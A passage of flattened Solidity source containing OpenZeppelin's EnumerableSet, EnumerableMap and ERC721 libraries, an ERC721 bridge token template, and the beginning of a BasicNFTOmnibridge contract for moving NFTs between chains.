function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.7.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity ^0.7.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.7.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: contracts/tokens/ERC721BridgeToken.sol
pragma solidity 0.7.5;
/**
* @title ERC721BridgeToken
* @dev template token contract for bridged ERC721 tokens.
*/
contract ERC721BridgeToken is ERC721, IBurnableMintableERC721Token {
address public bridgeContract;
constructor(
string memory _name,
string memory _symbol,
address _bridgeContract
) ERC721(_name, _symbol) {
bridgeContract = _bridgeContract;
}
/**
* @dev Throws if sender is not a bridge contract.
*/
modifier onlyBridge() {
require(msg.sender == bridgeContract);
_;
}
/**
* @dev Throws if sender is not a bridge contract or bridge contract owner.
*/
modifier onlyOwner() {
require(msg.sender == bridgeContract || msg.sender == IOwnable(bridgeContract).owner());
_;
}
/**
* @dev Mint new ERC721 token.
* Only bridge contract is authorized to mint tokens.
* @param _to address of the newly created token owner.
* @param _tokenId unique identifier of the minted token.
*/
function mint(address _to, uint256 _tokenId) external override onlyBridge {
_safeMint(_to, _tokenId);
}
/**
* @dev Burns some ERC721 token.
* Only bridge contract is authorized to burn tokens.
* @param _tokenId unique identifier of the burned token.
*/
function burn(uint256 _tokenId) external override onlyBridge {
_burn(_tokenId);
}
/**
* @dev Sets the base URI for all tokens.
* Can be called by bridge owner after token contract was instantiated.
* @param _baseURI new base URI.
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
_setBaseURI(_baseURI);
}
/**
* @dev Updates the bridge contract address.
* Can be called by bridge owner after token contract was instantiated.
* @param _bridgeContract address of the new bridge contract.
*/
function setBridgeContract(address _bridgeContract) external onlyOwner {
require(_bridgeContract != address(0));
bridgeContract = _bridgeContract;
}
/**
* @dev Sets the URI for the particular token.
* Can be called by bridge owner after token bridging.
* @param _tokenId URI for the bridged token metadata.
* @param _tokenURI new token URI.
*/
function setTokenURI(uint256 _tokenId, string calldata _tokenURI) external override onlyOwner {
_setTokenURI(_tokenId, _tokenURI);
}
}
// File: contracts/upgradeable_contracts/omnibridge_nft/BasicNFTOmnibridge.sol
pragma solidity 0.7.5;
/**
* @title BasicNFTOmnibridge
* @dev Commong functionality for multi-token mediator for ERC721 tokens intended to work on top of AMB bridge.
*/
abstract contract BasicNFTOmnibridge is
Initializable,
Upgradeable,
BridgeOperationsStorage,
BridgedTokensRegistry,
NativeTokensRegistry,
NFTOmnibridgeInfo,
NFTBridgeLimits,
ERC721Reader,
TokenImageStorage,
ERC721Relayer,
NFTMediatorBalanceStorage,
FailedMessagesProcessor
{
// Workaround for storing variable up-to-32 bytes suffix
uint256 private immutable SUFFIX_SIZE;
bytes32 private immutable SUFFIX;
// Since contract is intended to be deployed under EternalStorageProxy, only constant and immutable variables can be set here
constructor(string memory _suffix) {
require(bytes(_suffix).length <= 32);
bytes32 suffix;
assembly {
suffix := mload(add(_suffix, 32))
}
SUFFIX = suffix;
SUFFIX_SIZE = bytes(_suffix).length;
}
/**
* @dev Checks if specified token was already bridged at least once and it is registered in the Omnibridge.
* @param _token address of the token contract.
* @return true, if token was already bridged.
*/
function isTokenRegistered(address _token) public view override returns (bool) {
return isRegisteredAsNativeToken(_token) || nativeTokenAddress(_token) != address(0);
}
/**
* @dev Handles the bridged token for the first time, includes deployment of new ERC721TokenProxy contract.
* @param _token address of the native ERC721 token on the other side.
* @param _name name of the native token, name suffix will be appended, if empty, symbol will be used instead.
* @param _symbol symbol of the bridged token, if empty, name will be used instead.
* @param _recipient address that will receive the tokens.
* @param _tokenId unique id of the bridged token.
* @param _tokenURI URI for the bridged token instance.
*/
function deployAndHandleBridgedNFT(
address _token,
string calldata _name,
string calldata _symbol,
address _recipient,
uint256 _tokenId,
string calldata _tokenURI
) external onlyMediator {
address bridgedToken = bridgedTokenAddress(_token);
if (bridgedToken == address(0)) {
string memory name = _name;
string memory symbol = _symbol;
if (bytes(name).length == 0) {
require(bytes(symbol).length > 0);
name = symbol;
} else if (bytes(symbol).length == 0) {
symbol = name;
}
bridgedToken = address(new ERC721TokenProxy(tokenImage(), _transformName(name), symbol, address(this)));
_setTokenAddressPair(_token, bridgedToken);
}
_handleTokens(bridgedToken, false, _recipient, _tokenId);
_setTokenURI(bridgedToken, _tokenId, _tokenURI);
}
/**
* @dev Handles the bridged token for the already registered token pair.
* Checks that the bridged token is inside the execution limits and invokes the Mint accordingly.
* @param _token address of the native ERC721 token on the other side.
* @param _recipient address that will receive the tokens.
* @param _tokenId unique id of the bridged token.
* @param _tokenURI URI for the bridged token instance.
*/
function handleBridgedNFT(
address _token,
address _recipient,
uint256 _tokenId,
string calldata _tokenURI
) external onlyMediator {
address token = bridgedTokenAddress(_token);
_handleTokens(token, false, _recipient, _tokenId);
_setTokenURI(token, _tokenId, _tokenURI);
}
/**
* @dev Handles the bridged token that are native to this chain.
* Checks that the bridged token is inside the execution limits and invokes the Unlock accordingly.
* @param _token address of the native ERC721 token contract.
* @param _recipient address that will receive the tokens.
* @param _tokenId unique id of the bridged token.
*/
function handleNativeNFT(
address _token,
address _recipient,
uint256 _tokenId
) external onlyMediator {
require(isRegisteredAsNativeToken(_token));
_setNativeTokenIsRegistered(_token, REGISTERED_AND_DEPLOYED);
_handleTokens(_token, true, _recipient, _tokenId);
}
/**
* @dev Allows to pre-set the bridged token contract for not-yet bridged token.
* Only the owner can call this method.
* @param _nativeToken address of the token contract on the other side that was not yet bridged.
* @param _bridgedToken address of the bridged token contract.
*/
function setCustomTokenAddressPair(address _nativeToken, address _bridgedToken) external onlyOwner {
require(Address.isContract(_bridgedToken));
require(!isTokenRegistered(_bridgedToken));
require(bridgedTokenAddress(_nativeToken) == address(0));
// Unfortunately, there is no simple way to verify that the _nativeToken address
// does not belong to the bridged token on the other side,
// since information about bridged tokens addresses is not transferred back.
// Therefore, owner account calling this function SHOULD manually verify on the other side of the bridge that
// nativeTokenAddress(_nativeToken) == address(0) && isTokenRegistered(_nativeToken) == false.
_setTokenAddressPair(_nativeToken, _bridgedToken);
}
/**
* @dev Allows to send to the other network some ERC721 token that can be forced into the contract
* without the invocation of the required methods. (e. g. regular transferFrom without a call to onERC721Received)
* Before calling this method, it must be carefully investigated how imbalance happened
